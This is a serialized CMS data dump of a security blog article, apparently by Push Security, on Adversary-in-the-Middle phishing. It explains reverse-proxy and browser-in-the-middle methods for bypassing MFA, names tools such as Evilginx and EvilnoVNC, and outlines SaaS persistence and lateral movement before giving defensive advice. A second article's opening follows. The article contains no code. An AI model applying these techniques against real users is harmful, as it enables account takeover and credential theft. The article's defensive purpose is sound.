":865},{},[],{"data":188493,"content":188494,"nodeType":866},{},[188495],{"data":188496,"marks":188497,"value":158312,"nodeType":865},{},[],{"data":188499,"content":188500,"nodeType":1616},{},[188501,188510,188519],{"data":188502,"content":188503,"nodeType":1570},{},[188504],{"data":188505,"content":188506,"nodeType":866},{},[188507],{"data":188508,"marks":188509,"value":180549,"nodeType":865},{},[],{"data":188511,"content":188512,"nodeType":1570},{},[188513],{"data":188514,"content":188515,"nodeType":866},{},[188516],{"data":188517,"marks":188518,"value":180559,"nodeType":865},{},[],{"data":188520,"content":188521,"nodeType":1570},{},[188522],{"data":188523,"content":188524,"nodeType":866},{},[188525,188528,188532,188535,188539],{"data":188526,"marks":188527,"value":180569,"nodeType":865},{},[],{"data":188529,"marks":188530,"value":125754,"nodeType":865},{},[188531],{"type":898},{"data":188533,"marks":188534,"value":180577,"nodeType":865},{},[],{"data":188536,"marks":188537,"value":126795,"nodeType":865},{},[188538],{"type":898},{"data":188540,"marks":188541,"value":180585,"nodeType":865},{},[],{"data":188543,"content":188544,"nodeType":866},{},[188545],{"data":188546,"marks":188547,"value":180592,"nodeType":865},{},[],{"data":188549,"content":188552,"nodeType":912},{"target":188550},{"sys":188551},{"id":126761,"type":909,"linkType":910},[],{"data":188554,"content":188555,"nodeType":866},{},[188556,188559,188566],{"data":188557,"marks":188558,"value":180604,"nodeType":865},{},[],{"data":188560,"content":188561,"nodeType":889},{"uri":180276},[188562],{"data":188563,"marks":188564,"value":60907,"nodeType":865},{},[188565],{"type":943},{"data":188567,"marks":188568,"value":1615,"nodeType":865},{},[],{"data":188570,"content":188573,"nodeType":912},{"target":188571},{"sys":188572},{"id":180619,"type":909,"linkType":910},[],{"data":188575,"content":188576,"nodeType":981},{},[188577],{"data":188578,"marks":188579,"value":180627,"nodeType":865},{},[],{"data":188581,"content":188582,"nodeType":866},{},[188583],{"data":188584,"marks":188585,"value":180634,"nodeType":865},{},[],{"data":188587,"content":188588,"nodeType":866},{},[188589],{"data":188590,"marks":188591,"value":180641,"nodeType":865},{},[],{"data":188593,"content":188594,"nodeType":866},{},[188595],{"data":188596,"marks":188597,"value":180648,"nodeType":865},{},[],{"data":188599,"content":188600,"nodeType":866},{},[188601],{"data":188602,"marks":188603,"value":180655,"nodeType":865},{},[],{"data":188605,"content":188606,"nodeType":866},{},[188607],{"data":188608,"marks":188609,"value":180662,"nodeType":865},{},[],{"data":188611,"content":188612,"nodeType":866},{},[188613],{"data":188614,"marks":188615,"value":180669,"nodeType":865},{},[],{"data":188617,"content":188618,"nodeType":981},{},[188619],{"data":188620,"marks":188621,"value":113824,"nodeType":865},{},[],{"data":188623,"content":188624,"nodeType":866},{},[188625,188628,188635],{"data":188626,"marks":188627,"value":126944,"nodeType":865},{},[],{"data":188629,"content":188630,"nodeType":889},{"uri":16069},[188631],{"data":188632,"marks":188633,"value":14066,"nodeType":865},{},[188634],{"type":943},{"data":188636,"marks":188637,"value":180692,"nodeType":865},{},[],{"items":188639},[188640,188642],{"sys":188641,"name":342},{"id":4642},{"sys":188643,"name":126984},{"id":126983},{"items":188645},[188646],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":188647},{"url":6503},{"__typename":1429,"sys":188649,"content":188651,"title":142304,"synopsis":189467,"hashTags":59,"publishedDate":189468,"slug":189469,"tagsCollection":189470,"authorsCollection":189476},{"id":188650},"7DJnckJxP4CXyXhPJJpby5",{"json":188652},{"data":188653,"content":188654,"nodeType":1382},{},[188655,188662,188669,188676,188683,188690,188697,188704,188711,188718,188724,188731,188738,188745,188794,188801,188808,188827,188834,188841,188848,188881,188897,188904,188911,188918,188925,188932,188939,188959,188977,189081,189088,189106,189113,189120,189127,189133,189140,189147,189154,189185,189191,189198,189231,189238,189245,189341,189358,189364,189371,189378,189385,189439,189446,189449,189456,189461],{"data":188656,"content":188657,"nodeType":866},{},[188658],{"data":188659,"marks":188660,"value":188661,"nodeType":865},{},[],"Phishing attacks have always been a go-to technique for both red teamers and real-world threat actors alike. Whether focused on harvesting creds or running malicious payloads, phishing has continued to be adapted to circumvent defenses and has remained highly effective due to this.",{"data":188663,"content":188664,"nodeType":866},{},[188665],{"data":188666,"marks":188667,"value":188668,"nodeType":865},{},[],"As MFA has become more common, classic password harvesting focused phishing attacks have become less effective. Typically, for a full account compromise, an MFA push notification or a one-time passcode (OTP) needs to be entered at the time of login. This means harvesting passwords and using them later is no longer effective alone, because an MFA factor is still required each time a valid login is performed.",{"data":188670,"content":188671,"nodeType":866},{},[188672],{"data":188673,"marks":188674,"value":188675,"nodeType":865},{},[],"Adversary-in-the-Middle (AitM) phishing is a newer variant of phishing that allows attackers to circumvent MFA protection. In this article, we’re going to look at what AitM phishing is, how it works, and what you can do about it.",{"data":188677,"content":188678,"nodeType":981},{},[188679],{"data":188680,"marks":188681,"value":188682,"nodeType":865},{},[],"What is AitM phishing?",{"data":188684,"content":188685,"nodeType":866},{},[188686],{"data":188687,"marks":188688,"value":188689,"nodeType":865},{},[],"AitM phishing is a technique that uses dedicated tooling to act as a proxy between the target and a legitimate login portal for an application, principally to make it easier to defeat MFA protection. ",{"data":188691,"content":188692,"nodeType":866},{},[188693],{"data":188694,"marks":188695,"value":188696,"nodeType":865},{},[],"While any login portal can be a target, attackers typically look for SSO login portals such as Microsoft Entra, Okta, or Google Workspace. This allows the target to log in successfully with a legitimate service they use and even continue to interact with it, while providing additional access to connected SSO apps if the attack is successful. ",{"data":188698,"content":188699,"nodeType":866},{},[188700],{"data":188701,"marks":188702,"value":188703,"nodeType":865},{},[],"As it’s a proxy to the real application, the page will appear exactly as the user expects, because they are logging into the legitimate site – just taking a detour via the attacker’s device. For example, if accessing their webmail, the user will see all their real emails; if accessing their cloud file store then all their real files will be present, etc. This gives the method an increased sense of authenticity and makes the compromise less obvious to the user. However, because the attacker is sitting in the middle of this connection, they are able to observe all interactions and also take control of the authenticated session to gain control of the user account. ",{"data":188705,"content":188706,"nodeType":866},{},[188707],{"data":188708,"marks":188709,"value":188710,"nodeType":865},{},[],"While this access is technically temporary, since the attacker is unable to re-authenticate in future without additional MFA prompts, in practice authenticated sessions can often last as long as 30 days or more if kept active. Additionally, there are a wide range of persistence techniques that allow an attacker to maintain some level of access to the user account and/or targeted application indefinitely. ",{"data":188712,"content":188713,"nodeType":866},{},[188714],{"data":188715,"marks":188716,"value":188717,"nodeType":865},{},[],"We’ll revisit this point later, but for now let’s consider the two main techniques that are used to implement AitM phishing: Reverse web proxies and Browser-in-the-Middle techniques.",{"data":188719,"content":188723,"nodeType":912},{"target":188720},{"sys":188721},{"id":188722,"type":909,"linkType":910},"6WEolDcviadCgAW4dCgTPW",[],{"data":188725,"content":188726,"nodeType":1317},{},[188727],{"data":188728,"marks":188729,"value":188730,"nodeType":865},{},[],"Reverse web proxy techniques",{"data":188732,"content":188733,"nodeType":866},{},[188734],{"data":188735,"marks":188736,"value":188737,"nodeType":865},{},[],"One common AitM phishing approach is to use tooling that acts as a reverse web proxy. For example, let’s say a victim is tricked into visiting a malicious domain. Under the hood, HTTP requests are passed between the victim’s browser and the real site via the malicious site. When the malicious site receives an HTTP request, it forwards this request on to the legitimate site it is impersonating, receives the response, and then forwards that on to the victim. ",{"data":188739,"content":188740,"nodeType":866},{},[188741],{"data":188742,"marks":188743,"value":188744,"nodeType":865},{},[],"In practice, there are many technical challenges, such as rewriting all links and references to the impersonated site to ensure everything continues to be sent to the attacker. However, at a high level, it really is just acting as a reverse web proxy.",{"data":188746,"content":188747,"nodeType":866},{},[188748,188752,188759,188762,188769,188773,188780,188784,188791],{"data":188749,"marks":188750,"value":188751,"nodeType":865},{},[],"This is arguably the most scalable and reliable approach from an attacker’s point of view. Open-source tools that demonstrate this method include ",{"data":188753,"content":188754,"nodeType":889},{"uri":168274},[188755],{"data":188756,"marks":188757,"value":168279,"nodeType":865},{},[188758],{"type":943},{"data":188760,"marks":188761,"value":2717,"nodeType":865},{},[],{"data":188763,"content":188764,"nodeType":889},{"uri":168285},[188765],{"data":188766,"marks":188767,"value":168290,"nodeType":865},{},[188768],{"type":943},{"data":188770,"marks":188771,"value":188772,"nodeType":865},{},[],", and the ever popular ",{"data":188774,"content":188775,"nodeType":889},{"uri":168296},[188776],{"data":188777,"marks":188778,"value":168301,"nodeType":865},{},[188779],{"type":943},{"data":188781,"marks":188782,"value":188783,"nodeType":865},{},[],". In the criminal world, there are also similar private toolsets available that have been used in many breaches in the past. A good example of this would be ",{"data":188785,"content":188786,"nodeType":889},{"uri":168307},[188787],{"data":188788,"marks":188789,"value":168312,"nodeType":865},{},[188790],{"type":943},{"data":188792,"marks":188793,"value":1615,"nodeType":865},{},[],{"data":188795,"content":188796,"nodeType":866},{},[188797],{"data":188798,"marks":188799,"value":188800,"nodeType":865},{},[],"One downside to this approach is that there are controls that can be put in place to block it. For example, application developers can hide obfuscated JavaScript code that will fail if the correct value is not produced, checking that the origin matches the expected (legitimate) domains or contains encrypted tokens including this material sent as part of the login process. ",{"data":188802,"content":188803,"nodeType":866},{},[188804],{"data":188805,"marks":188806,"value":188807,"nodeType":865},{},[],"While your average small website is not going to be implementing such checks, major identity providers have a strong vested interest in evolving their defenses to block these techniques. At this point, it’s a cat-and-mouse game. ",{"data":188809,"content":188810,"nodeType":866},{},[188811,188815,188824],{"data":188812,"marks":188813,"value":188814,"nodeType":865},{},[],"If you want to know more about this space, then definitely check out ",{"data":188816,"content":188818,"nodeType":889},{"uri":188817},"https://www.youtube.com/watch?v=C-Fh4sIdY8c",[188819],{"data":188820,"marks":188821,"value":188823,"nodeType":865},{},[188822],{"type":943},"Kuba Gretzky’s talk on this at x33fcon",{"data":188825,"marks":188826,"value":113401,"nodeType":865},{},[],{"data":188828,"content":188829,"nodeType":1317},{},[188830],{"data":188831,"marks":188832,"value":188833,"nodeType":865},{},[],"Browser-in-the-Middle (BitM) techniques ",{"data":188835,"content":188836,"nodeType":866},{},[188837],{"data":188838,"marks":188839,"value":188840,"nodeType":865},{},[],"Another common approach is known as Browser-in-the-Middle (BitM). Rather than act as a reverse web proxy, this technique tricks a target into directly controlling the attacker’s own browser remotely using desktop screen sharing and control approaches, much like VNC and RDP. This enables the attacker to harvest not just the username and password, but all other associated secrets and tokens that go along with the login. ",{"data":188842,"content":188843,"nodeType":866},{},[188844],{"data":188845,"marks":188846,"value":188847,"nodeType":865},{},[],"In this case, the victim isn’t interacting with a fake website clone or proxy. They are literally remotely controlling the attacker’s browser to log in to the legitimate application without realizing. This is the virtual equivalent of an attacker handing their laptop to their victim, asking them to login to Okta for them, and then taking their laptop back afterwards. Thanks very much!",{"data":188849,"content":188850,"nodeType":866},{},[188851,188855,188864,188868,188877],{"data":188852,"marks":188853,"value":188854,"nodeType":865},{},[],"Practically speaking, the most common approach for implementing this technique is using the open-source project noVNC, which is a JavaScript-based VNC client that allows VNC to be used in the browser. Probably the most well-known example of an offensive tool implementing this is ",{"data":188856,"content":188858,"nodeType":889},{"uri":188857},"https://github.com/JoelGMSec/EvilnoVNC",[188859],{"data":188860,"marks":188861,"value":188863,"nodeType":865},{},[188862],{"type":943},"EvilnoVNC",{"data":188865,"marks":188866,"value":188867,"nodeType":865},{},[],", which spins up Docker instances of VNC and proxies access to them, while also logging keystrokes and cookies to facilitate account compromise. Tools like ",{"data":188869,"content":188871,"nodeType":889},{"uri":188870},"https://posts.specterops.io/phishing-with-dynamite-7d33d8fac038",[188872],{"data":188873,"marks":188874,"value":188876,"nodeType":865},{},[188875],{"type":943},"Cuddlephish",{"data":188878,"marks":188879,"value":188880,"nodeType":865},{},[]," offer similar functionality using WebRTC. ",{"data":188882,"content":188883,"nodeType":866},{},[188884,188888,188893],{"data":188885,"marks":188886,"value":188887,"nodeType":865},{},[],"The advantage of this approach is that ",{"data":188889,"marks":188890,"value":188892,"nodeType":865},{},[188891],{"type":926},"it is incredibly difficult for the target websites to do anything to stop it",{"data":188894,"marks":188895,"value":188896,"nodeType":865},{},[],". From their perspective, all they see is a legitimate browser accessing their website and logging in. None of the JavaScript tricks for checking the origin will work. They aren’t in a position to be able to see that the browser is secretly being controlled remotely by the victim user without their knowledge. ",{"data":188898,"content":188899,"nodeType":866},{},[188900],{"data":188901,"marks":188902,"value":188903,"nodeType":865},{},[],"On the downside, while noVNC can be extremely convincing, the illusion can sometimes be broken due to it not behaving exactly like a real website would due it being a graphical rendering. For example, something as simple as resizing the browser window can introduce render resolution issues. It’s also more difficult to scale for attacking large numbers of users than a reverse proxy technique.",{"data":188905,"content":188906,"nodeType":866},{},[188907],{"data":188908,"marks":188909,"value":188910,"nodeType":865},{},[],"Footnote: BitM is not to be confused with Browser-in-the-Browser (BitB), which is more of a malicious pop-up (think when a login button spawns a new browser window). ",{"data":188912,"content":188913,"nodeType":981},{},[188914],{"data":188915,"marks":188916,"value":188917,"nodeType":865},{},[],"Beyond initial access",{"data":188919,"content":188920,"nodeType":866},{},[188921],{"data":188922,"marks":188923,"value":188924,"nodeType":865},{},[],"So maybe you’re thinking now “OK, sounds kinda bad, but I’m not that worried. Maybe some user accounts get compromised by this method despite all my MFA protections, but at least the attacker only has temporary access, right?” ",{"data":188926,"content":188927,"nodeType":866},{},[188928],{"data":188929,"marks":188930,"value":188931,"nodeType":865},{},[],"In theory, access is temporary as sessions time out. And if spotted, the security team can respond by killing the authenticated sessions and forcing password changes for the compromised users. Then the attacker is back to square one, right? Their session is lost, they still don’t have MFA, and even the password they keylogged has now been changed.",{"data":188933,"content":188934,"nodeType":866},{},[188935],{"data":188936,"marks":188937,"value":188938,"nodeType":865},{},[],"In practice, it’s not this simple. We mentioned earlier how SSO portals are often the most common targets for these attacks. For most modern organizations, this means their core identity provider, which just so happens to be the gateway to accessing many other web applications, whether internal applications or a multitude of SaaS applications. ",{"data":188940,"content":188941,"nodeType":866},{},[188942,188946,188955],{"data":188943,"marks":188944,"value":188945,"nodeType":865},{},[],"Let’s consider the example of an organization using Okta where their Okta login portal has been used as the target for AitM phishing. A smart attacker is going to immediately leverage this access to establish authenticated sessions on every single application that Okta provides the user access to. They are also going to ",{"data":188947,"content":188949,"nodeType":889},{"uri":188948},"https://pushsecurity.com/blog/okta-swa/",[188950],{"data":188951,"marks":188952,"value":188954,"nodeType":865},{},[188953],{"type":943},"abuse Okta SWA",{"data":188956,"marks":188957,"value":188958,"nodeType":865},{},[]," to steal valid credentials for whichever applications support this method. And if that’s not enough, there are a variety of simple methods to achieve persistence on most downstream SaaS applications and sometimes even identity providers themselves.",{"data":188960,"content":188961,"nodeType":866},{},[188962,188966,188973],{"data":188963,"marks":188964,"value":188965,"nodeType":865},{},[],"While the full details of these persistence attacks are outside the scope of this article, more details on some key attacks can be found in a resource we created called the ",{"data":188967,"content":188968,"nodeType":889},{"uri":13171},[188969],{"data":188970,"marks":188971,"value":115902,"nodeType":865},{},[188972],{"type":943},{"data":188974,"marks":188975,"value":188976,"nodeType":865},{},[],". Some of the most common techniques that apply here are: ",{"data":188978,"content":188979,"nodeType":1616},{},[188980,189000,189021,189041,189061],{"data":188981,"content":188982,"nodeType":1570},{},[188983],{"data":188984,"content":188985,"nodeType":866},{},[188986,188989,188997],{"data":188987,"marks":188988,"value":21,"nodeType":865},{},[],{"data":188990,"content":188991,"nodeType":889},{"uri":101210},[188992],{"data":188993,"marks":188994,"value":188996,"nodeType":865},{},[188995],{"type":943},"SAT1004 - API keys",{"data":188998,"marks":188999,"value":21,"nodeType":865},{},[],{"data":189001,"content":189002,"nodeType":1570},{},[189003],{"data":189004,"content":189005,"nodeType":866},{},[189006,189009,189018],{"data":189007,"marks":189008,"value":21,"nodeType":865},{},[],{"data":189010,"content":189012,"nodeType":889},{"uri":189011},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/link_sharing/description.md",[189013],{"data":189014,"marks":189015,"value":189017,"nodeType":865},{},[189016],{"type":943},"SAT1022 - Link sharing",{"data":189019,"marks":189020,"value":21,"nodeType":865},{},[],{"data":189022,"content":189023,"nodeType":1570},{},[189024],{"data":189025,"content":189026,"nodeType":866},{},[189027,189030,189038],{"data":189028,"marks":189029,"value":21,"nodeType":865},{},[],{"data":189031,"content":189032,"nodeType":889},{"uri":53259},[189033],{"data":189034,"marks":189035,"value":189037,"nodeType":865},{},[189036],{"type":943},"SAT1017 - Ghost logins",{"data":189039,"marks":189040,"value":21,"nodeType":865},{},[],{"data":189042,"content":189043,"nodeType":1570},{},[189044],{"data":189045,"content":189046,"nodeType":866},{},[189047,189050,189058],{"data":189048,"marks":189049,"value":21,"nodeType":865},{},[],{"data":189051,"content":189052,"nodeType":889},{"uri":169773},[189053],{"data":189054,"marks":189055,"value":189057,"nodeType":865},{},[189056],{"type":943},"SAT1027 - OAuth tokens",{"data":189059,"marks":189060,"value":21,"nodeType":865},{},[],{"data":189062,"content":189063,"nodeType":1570},{},[189064],{"data":189065,"content":189066,"nodeType":866},{},[189067,189070,189078],{"data":189068,"marks":189069,"value":21,"nodeType":865},{},[],{"data":189071,"content":189072,"nodeType":889},{"uri":145802},[189073],{"data":189074,"marks":189075,"value":189077,"nodeType":865},{},[189076],{"type":943},"SAT1033 - Shadow workflows",{"data":189079,"marks":189080,"value":21,"nodeType":865},{},[],{"data":189082,"content":189083,"nodeType":866},{},[189084],{"data":189085,"marks":189086,"value":189087,"nodeType":865},{},[],"Suddenly, containing the breach just got a LOT more complicated.",{"data":189089,"content":189090,"nodeType":866},{},[189091,189095,189102],{"data":189092,"marks":189093,"value":189094,"nodeType":865},{},[],"It’s not just application-level lateral movement and persistence to worry about, though. It’s possible the attacker can start moving laterally across other user accounts. If they have selected their targets well, they might even find they have admin access to some downstream SaaS application that has been configured for SAML logins using Okta. For example, maybe they compromise a finance employee who has admin access to their business expenses SaaS application. Then the attacker might be able to use a new technique like ",{"data":189096,"content":189097,"nodeType":889},{"uri":105869},[189098],{"data":189099,"marks":189100,"value":105875,"nodeType":865},{},[189101],{"type":943},{"data":189103,"marks":189104,"value":189105,"nodeType":865},{},[]," to start attacking other users in a watering hole attack to achieve lateral movement.",{"data":189107,"content":189108,"nodeType":981},{},[189109],{"data":189110,"marks":189111,"value":189112,"nodeType":865},{},[],"Video demo – chaining it all together",{"data":189114,"content":189115,"nodeType":866},{},[189116],{"data":189117,"marks":189118,"value":189119,"nodeType":865},{},[],"OK, so we’ve just jumped from an account compromise for initial access using an AitM phishing attack to bringing up a huge number of other connected techniques. Let’s look at a quick video demonstration of an AitM phishing attack chained together with post-exploitation steps for persistence and lateral movement so we can see how it all fits together.",{"data":189121,"content":189122,"nodeType":866},{},[189123],{"data":189124,"marks":189125,"value":189126,"nodeType":865},{},[],"In this case, we’ll use EvilnoVNC targeting Okta as the core example for the AitM phishing attack:",{"data":189128,"content":189132,"nodeType":912},{"target":189129},{"sys":189130},{"id":189131,"type":909,"linkType":910},"QGTEWzmOL1vrgjXPuV4Gg",[],{"data":189134,"content":189135,"nodeType":866},{},[189136],{"data":189137,"marks":189138,"value":189139,"nodeType":865},{},[],"We can see here that AitM phishing attacks are not only highly effective even in the presence of MFA, but that post-exploitation steps have become so numerous that effective response and containment for even a low-privileged user account are now a significant challenge.",{"data":189141,"content":189142,"nodeType":981},{},[189143],{"data":189144,"marks":189145,"value":189146,"nodeType":865},{},[],"Post-exploitation automation is coming",{"data":189148,"content":189149,"nodeType":866},{},[189150],{"data":189151,"marks":189152,"value":189153,"nodeType":865},{},[],"There is a saying that attacks only become more effective over time. In the past, toolsets like Metasploit and Cobalt Strike became increasingly focused on post-exploitation and automation to enable much more sophisticated compromises.",{"data":189155,"content":189156,"nodeType":866},{},[189157,189161,189172,189176,189181],{"data":189158,"marks":189159,"value":189160,"nodeType":865},{},[],"As AitM becomes increasingly popular (for example, researchers at Lab539 have reported ",{"data":189162,"content":189163,"nodeType":889},{"uri":171106},[189164,189169],{"data":189165,"marks":189166,"value":189168,"nodeType":865},{},[189167],{"type":943},"a significant ramp up in attacker infrastructure linked to AitM campaigns",{"data":189170,"marks":189171,"value":53681,"nodeType":865},{},[],{"data":189173,"marks":189174,"value":189175,"nodeType":865},{},[]," it’s only a matter of time now before we see AitM phishing frameworks moving in the same direction and performing many of the lateral movement and persistence steps we saw above – automatically on every successful account compromise. The threat will increase ",{"data":189177,"marks":189178,"value":189180,"nodeType":865},{},[189179],{"type":926},"significantly",{"data":189182,"marks":189183,"value":189184,"nodeType":865},{},[]," when this becomes the case.",{"data":189186,"content":189187,"nodeType":981},{},[189188],{"data":189189,"marks":189190,"value":145245,"nodeType":865},{},[],{"data":189192,"content":189193,"nodeType":866},{},[189194],{"data":189195,"marks":189196,"value":189197,"nodeType":865},{},[],"We’ve covered a lot of ground here, so let’s take a step back and consider the key points of impact:",{"data":189199,"content":189200,"nodeType":1616},{},[189201,189211,189221],{"data":189202,"content":189203,"nodeType":1570},{},[189204],{"data":189205,"content":189206,"nodeType":866},{},[189207],{"data":189208,"marks":189209,"value":189210,"nodeType":865},{},[],"AitM phishing techniques are highly effective and increasingly common, and can bypass most common forms of MFA.",{"data":189212,"content":189213,"nodeType":1570},{},[189214],{"data":189215,"content":189216,"nodeType":866},{},[189217],{"data":189218,"marks":189219,"value":189220,"nodeType":865},{},[],"These techniques are being used by real threat actors and red teamers alike, with both criminal and open-source tools available for performing these attacks.",{"data":189222,"content":189223,"nodeType":1570},{},[189224],{"data":189225,"content":189226,"nodeType":866},{},[189227],{"data":189228,"marks":189229,"value":189230,"nodeType":865},{},[],"There are many options for lateral movement and persistence after an account compromise, so simple containment actions like password resets for SSO credentials are not nearly enough to contain a knowledgeable attacker.",{"data":189232,"content":189233,"nodeType":981},{},[189234],{"data":189235,"marks":189236,"value":189237,"nodeType":865},{},[],"What can blue teams do about it?",{"data":189239,"content":189240,"nodeType":866},{},[189241],{"data":189242,"marks":189243,"value":189244,"nodeType":865},{},[],"It’s important that organizations develop their capability to detect and respond to AitM attacks. Possible approaches include:",{"data":189246,"content":189247,"nodeType":1616},{},[189248,189263,189298,189326],{"data":189249,"content":189250,"nodeType":1570},{},[189251],{"data":189252,"content":189253,"nodeType":866},{},[189254,189259],{"data":189255,"marks":189256,"value":189258,"nodeType":865},{},[189257],{"type":926},"Move to FIDO MFA where possible",{"data":189260,"marks":189261,"value":189262,"nodeType":865},{},[]," (though, if no more susceptible backup methods are enabled, this does introduce operational challenges if passkeys are lost).",{"data":189264,"content":189265,"nodeType":1570},{},[189266],{"data":189267,"content":189268,"nodeType":866},{},[189269,189274,189277,189282,189286,189295],{"data":189270,"marks":189271,"value":189273,"nodeType":865},{},[189272],{"type":926},"Detect and block known-bad malicious",{"data":189275,"marks":189276,"value":2688,"nodeType":865},{},[],{"data":189278,"marks":189279,"value":189281,"nodeType":865},{},[189280],{"type":926},"sites",{"data":189283,"marks":189284,"value":189285,"nodeType":865},{},[]," used in phishing campaigns. There are many threat intelligence feeds that can be ingested to achieve this. Usually, a domain has to be used in a malicious campaign before it can be catalogued – meaning there's typically a window of opportunity before the infrastructure is burned. That said, security researchers at Lab539 (yes, another shout out) have developed a way of identifying sites running AitM tooling – even before they are used for the first time. ",{"data":189287,"content":189289,"nodeType":889},{"uri":189288},"https://www.lab539.com/aitm",[189290],{"data":189291,"marks":189292,"value":189294,"nodeType":865},{},[189293],{"type":943},"You can sign up to get access to their feed here.",{"data":189296,"marks":189297,"value":21,"nodeType":865},{},[],{"data":189299,"content":189300,"nodeType":1570},{},[189301],{"data":189302,"content":189303,"nodeType":866},{},[189304,189309,189313,189322],{"data":189305,"marks":189306,"value":189308,"nodeType":865},{},[189307],{"type":926},"Introduce controls to detect phishing toolkits and cloned websites",{"data":189310,"marks":189311,"value":189312,"nodeType":865},{},[],". You can never rely on blocking malicious sites via TI feeds alone, so additional layers of defence are required. Push customers benefit from detection of AitM toolkits like Evilginx and EvilNoVNC in the browser (more to come on this soon!), while Thinkst Canary has developed ",{"data":189314,"content":189316,"nodeType":889},{"uri":189315},"https://blog.thinkst.com/2024/01/defending-against-the-attack-of-the-cloned-websites.html",[189317],{"data":189318,"marks":189319,"value":189321,"nodeType":865},{},[189320],{"type":943},"methods of detecting whenever your website or login portal is cloned",{"data":189323,"marks":189324,"value":189325,"nodeType":865},{},[]," – very cool.  ",{"data":189327,"content":189328,"nodeType":1570},{},[189329],{"data":189330,"content":189331,"nodeType":866},{},[189332,189337],{"data":189333,"marks":189334,"value":189336,"nodeType":865},{},[189335],{"type":926},"Update IR playbooks to to deal with SSO account compromise,",{"data":189338,"marks":189339,"value":189340,"nodeType":865},{},[]," factoring in lateral movement and persistence across cloud apps. This really necessitates that you understand what business apps your organization is using, how they are accessed (e.g. SSO or username and password) and what functionality exists that could be abused by an attacker. ",{"data":189342,"content":189343,"nodeType":866},{},[189344,189348,189355],{"data":189345,"marks":189346,"value":189347,"nodeType":865},{},[],"If you want to know more about how Push detects and blocks phishing tools in the browser, you can ",{"data":189349,"content":189350,"nodeType":889},{"uri":131844},[189351],{"data":189352,"marks":189353,"value":189354,"nodeType":865},{},[],"check out our article here",{"data":189356,"marks":189357,"value":6719,"nodeType":865},{},[],{"data":189359,"content":189360,"nodeType":981},{},[189361],{"data":189362,"marks":189363,"value":57175,"nodeType":865},{},[],{"data":189365,"content":189366,"nodeType":866},{},[189367],{"data":189368,"marks":189369,"value":189370,"nodeType":865},{},[],"We’ve seen in this article how there are multiple ways to perform AitM phishing attacks and how they can be extremely effective at targeting users even when their accounts are protected by MFA.  ",{"data":189372,"content":189373,"nodeType":866},{},[189374],{"data":189375,"marks":189376,"value":189377,"nodeType":865},{},[],"Very few organizations are universally using phishing-resistant MFA, such as FIDO-based methods, and even those that do often have fallback options to handle situations where they cannot be used and/or tokens malfunction or are lost. Therefore, the vast majority of organizations are at risk of AitM phishing attacks.",{"data":189379,"content":189380,"nodeType":866},{},[189381],{"data":189382,"marks":189383,"value":189384,"nodeType":865},{},[],"To make things worse, there are lateral movement and persistence techniques that can be exploited to greatly extend the depth of compromise even for a single low-privilege user account. This makes response and containment a significant challenge.",{"data":189386,"content":189387,"nodeType":866},{},[189388,189392,189399,189402,189410,189414,189422,189426,189435],{"data":189389,"marks":189390,"value":189391,"nodeType":865},{},[],"Phishing attacks are clearly evolving. Phishing attacks are no longer limited to email-based delivery mechanisms or being hosted on custom domains. There are many options now for delivering phishing attacks using ",{"data":189393,"content":189394,"nodeType":889},{"uri":182573},[189395],{"data":189396,"marks":189397,"value":182579,"nodeType":865},{},[189398],{"type":943},{"data":189400,"marks":189401,"value":53880,"nodeType":865},{},[],{"data":189403,"content":189404,"nodeType":889},{"uri":182585},[189405],{"data":189406,"marks":189407,"value":189409,"nodeType":865},{},[189408],{"type":943},"Microsoft Teams",{"data":189411,"marks":189412,"value":189413,"nodeType":865},{},[],", using ",{"data":189415,"content":189416,"nodeType":889},{"uri":105882},[189417],{"data":189418,"marks":189419,"value":189421,"nodeType":865},{},[189420],{"type":943},"SAMLjacking attacks",{"data":189423,"marks":189424,"value":189425,"nodeType":865},{},[]," to host the initial landing page on legitimate SaaS web domains or even using ",{"data":189427,"content":189429,"nodeType":889},{"uri":189428},"https://pushsecurity.com/blog/oktajacking/",[189430],{"data":189431,"marks":189432,"value":189434,"nodeType":865},{},[189433],{"type":943},"Okta to keylog credentials",{"data":189436,"marks":189437,"value":189438,"nodeType":865},{},[]," on behalf of the attacker. ",{"data":189440,"content":189441,"nodeType":866},{},[189442],{"data":189443,"marks":189444,"value":189445,"nodeType":865},{},[],"Increasingly, we should expect to see AitM toolkits being used as a standard part of phishing campaigns, and featured in Initial Access Broker tooling – AitM will effectively supersede legacy phishing methods in line with MFA adoption. Rather, it already is. ",{"data":189447,"content":189448,"nodeType":972},{},[],{"data":189450,"content":189451,"nodeType":866},{},[189452],{"data":189453,"marks":189454,"value":189455,"nodeType":865},{},[],"If you're interested in seeing some more AitM tools in action, you can watch our recent webinar on-demand via the link below. ",{"data":189457,"content":189460,"nodeType":912},{"target":189458},{"sys":189459},{"id":188722,"type":909,"linkType":910},[],{"data":189462,"content":189463,"nodeType":866},{},[189464],{"data":189465,"marks":189466,"value":21,"nodeType":865},{},[],"Attackers are using Adversary in the Middle (AitM) phishing toolkits to bypass MFA. We look at what AitM is, how it works, and what you can do about it.","2024-05-23T00:00:00.000Z","phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm",{"items":189471},[189472,189474],{"sys":189473,"name":7796},{"id":7795},{"sys":189475,"name":342},{"id":4642},{"items":189477},[189478],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":189479},{"url":11425},{"__typename":1429,"sys":189481,"content":189483,"title":189955,"synopsis":189956,"hashTags":59,"publishedDate":189957,"slug":189958,"tagsCollection":189959,"authorsCollection":189965},{"id":189482},"7yCGcUryKQGOHYHRtipn6W",{"json":189484},{"data":189485,"content":189486,"nodeType":1382},{},[189487,189494,189501,189508,189515,189522,189529,189536,189543,189550,189568,189586,189593,189600,189619,189626,189638,189681,189688,189707,189715,189722,189729,189736,189743,189750,189815,189822,189827,189834,189841,189848,189855,189874,189881,189888,189895,189902,189909,189916,189923,189930,189937,189942,189948],{"data":189488,"content":189489,"nodeType":866},{},[189490],{"data":189491,"marks":189492,"value":189493,"nodeType":865},{},[],"User web activity can be a rich source of attack detection data. To this end, most organizations today ingest some form of network traffic data for security monitoring purposes. ",{"data":189495,"content":189496,"nodeType":866},{},[189497],{"data":189498,"marks":189499,"value":189500,"nodeType":865},{},[],"Typically, network traffic data is gathered by analyzing web proxy and/or DNS logs. But, we regularly speak to organizations that are frustrated with the challenge of piecing together web traffic data, without understanding the opportunity presented by the alternatives.",{"data":189502,"content":189503,"nodeType":866},{},[189504],{"data":189505,"marks":189506,"value":189507,"nodeType":865},{},[],"Even with proxies that can terminate TLS-encrypted datastreams, it’s difficult for even expert security 